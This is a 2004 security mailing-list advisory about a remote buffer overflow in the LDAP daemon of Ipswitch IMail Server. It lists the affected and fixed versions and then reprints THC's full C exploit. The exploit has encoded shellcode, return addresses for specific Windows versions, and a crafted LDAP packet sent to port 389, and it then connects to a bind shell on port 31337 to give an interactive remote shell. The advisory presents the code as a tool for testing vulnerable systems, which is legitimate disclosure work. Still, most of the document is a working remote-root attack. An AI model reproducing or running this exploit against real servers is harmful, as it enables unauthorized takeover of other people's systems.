[EXPL] Ipswitch IMail LDAP Remote Exploit (Improved)

From: SecuriTeam (support_at_securiteam.com)
Date: 02/26/04

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Date: 26 Feb 2004 14:05:48 +0200

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      Ipswitch IMail LDAP Remote Exploit (Improved)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/windowsntfocus/5JP0B2AC0Y.html> Ipswitch IMail
    LDAP Daemon Remote Buffer Overflow, a vulnerability in Ipswitch's IMail
    allows remote attackers to overflow an internal buffer causing it to
    execute arbitrary code. The following improved exploit code can be used to
    test your system for the mentioned vulnerability (the improved exploit
    code also works on IMail version 6.x and 7.x).

    DETAILS

    Vulnerable Systems:
     * LDAP daemon (iLDAP.exe ver. 3.9.15.10) shipping with IMail Server
    version 8.03
     * LDAP daemon shipping with IMail Server version 7.xx and 6.xx

    Immune Systems:
     * IMail Server version 8.05 Hotfix 2

    Exploit:
    The exploit code is also available from:
    <http://www.thc.org/misc/sploits/THCimail.zip>
    http://www.thc.org/misc/sploits/THCimail.zip

    /*****************************************************************************/
    /* THCimail 0.1 - Wind0wZ remote root exploit */
    /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
    /* THC PUBLIC SOURCE MATERIALS */
    /* */
    /* */
    /* compile with MS Visual C++ : cl THCimail.c */
    /* */
    /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX,
    dvorak, */
    /* scut, stealth, FtR and Random */
    /*****************************************************************************/

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <winsock2.h>

    #pragma comment(lib, "ws2_32.lib")

    char *WIN2KEN = "\xc4\x2a\x02\x75";
    char *WIN2KPG = "\xc4\x2a\xf9\x74";
    char *WINXPSP1G = "\xfe\x63\xa1\x71";

    #define jumper "\xeb\x06\x4a\x43"

    char ldap***[] =
    "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20";

    char shellcode[] =
    "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
    "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
    "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
    "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
    "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
    "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
    "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
    "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
    "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
    "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
    "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
    "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
    "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
    "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
    "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
    "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
    "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
    "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
    "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
    "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
    "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
    "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
    "\xda\x63\xe5\x70\x70\xda\x6f";

    void usage();
    void shell(int sock);

    int main(int argc, char *argv[])
    {
      unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;
      unsigned char *finalbuffer,*crapbuf1,*crapbuf2;
      unsigned int IMAIL6_7=60;
      unsigned int IMAIL_8=68;

      struct sockaddr_in mytcp;
      struct hostent * hp;
      WSADATA wsaData;

      printf("\nTHCimail v0.1 - Imail LDAP exploit\n");
      printf("tested on Imail 6-8\n");
      printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");

      if(argc<4 || argc>4)
       usage();

      ver = (unsigned short)atoi(argv[3]);
      switch(ver)
      {
       case 0:
        IMAILVER = IMAIL6_7;
        break;
       case 1:
        IMAILVER = IMAIL_8;
        break;
       default:
        printf("\nYou entered an illegal version !\n\n");
        usage();
        exit(-1);
      }

      crapbuf1 = malloc(IMAILVER);
      memset(crapbuf1,'X',IMAILVER);

      printf("imailver = %d\n",IMAILVER);

      crapbuf2 = malloc(2220);
      memset(crapbuf2,'X',2220);

      finalbuffer = malloc(2650);
      memset(finalbuffer,0,2650);

      printf("\n[*] building buffer\n");

      strcat(finalbuffer,ldap***);

      strcat(finalbuffer,crapbuf1);

      strcat(finalbuffer,jumper);

      os = (unsigned short)atoi(argv[2]);
      switch(os)
      {
       case 0:
        strcat(finalbuffer,WIN2KPG);
        break;
       case 1:
        strcat(finalbuffer,WIN2KPG);
        break;
       case 2:
        strcat(finalbuffer,WINXPSP1G);
        break;
       default:
        printf("\nYou entered an illegal OS !\n\n");
        usage();
        exit(-1);
      }

      strcat(finalbuffer,shellcode);
      strcat(finalbuffer,crapbuf2);
          
      if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
      {
       printf("WSAStartup failed !\n");
       exit(-1);
      }
      
      hp = gethostbyname(argv[1]);

      if (!hp){
       addr = inet_addr(argv[1]);
      }
      if ((!hp) && (addr == INADDR_NONE) )
      {
       printf("Unable to resolve %s\n",argv[1]);
       exit(-1);
      }

      sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      if (!sock)
      {
       printf("socket() error...\n");
       exit(-1);
      }
      
      if (hp != NULL)
       memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
      else
       mytcp.sin_addr.s_addr = addr;

      if (hp)
       mytcp.sin_family = hp->h_addrtype;
      else
       mytcp.sin_family = AF_INET;

      mytcp.sin_port=htons(389);

      printf("[*] connecting the target\n");

      rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct
    sockaddr_in));
      if(rc==0)
      {
          send(sock,finalbuffer,2650,0);
          printf("[*] Exploit send successfully ! Sleeping a while ....\n");
          Sleep(1000);
      }
      else
       printf("\nCan't connect to ldap port!\n");
       
      if(rc==0)
      {
       printf("[*] Trying to get a shell\n\n");
       sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
       mytcp.sin_port = htons(31337);
       rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
       if(rc!=0)
       {
         printf("can't connect to port 31337 ;( maybe firewalled ...\n");
         exit(-1);
       }
       shell(sock2);
      }

      shutdown(sock,1);
      closesocket(sock);

      free(crapbuf1);
      free(crapbuf2);
      free(finalbuffer);

      exit(0);
    }
     
    void usage()
    {
     unsigned int a;
     printf("\nUsage: <Host> <OS> <Imail Version>\n");
     printf("Sample: THCimail 194.44.55.56 0 1\n\n");
     printf("OS:\n");
     printf("0 - Windows 2000 Server english all service packs\n");
     printf("1 - Windows 2000 Professional german\n");
     printf("2 - Windows XP SP1 german\n\n");
     printf("Imail Version:\n");
     printf("0 - Imail 6+7\n");
     printf("1 - Imail 8\n");
     exit(0);
    }

    void shell(int sock)
    {
     int l;
     char buf[1024];
     struct timeval time;
     unsigned long ul[2];

     time.tv_sec = 1;
     time.tv_usec = 0;

     while (1)
     {
      ul[0] = 1;
      ul[1] = sock;

      l = select (0, (fd_set *)&ul, NULL, NULL, &time);
      if(l == 1)
      {
       l = recv (sock, buf, sizeof (buf), 0);
       if (l <= 0)
       {
        printf ("bye bye...\n");
        return;
       }
      l = write (1, buf, l);
       if (l <= 0)
       {
        printf ("bye bye...\n");
        return;
       }
      }
      else
      {
       l = read (0, buf, sizeof (buf));
       if (l <= 0)
       {
        printf("bye bye...\n");
        return;
       }
       l = send(sock, buf, l, 0);
       if (l <= 0)
       {
        printf("bye bye...\n");
        return;
       }
      }
     }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jcyberpunk@thc.org> Johnny
    Cyberpunk.

    ========================================

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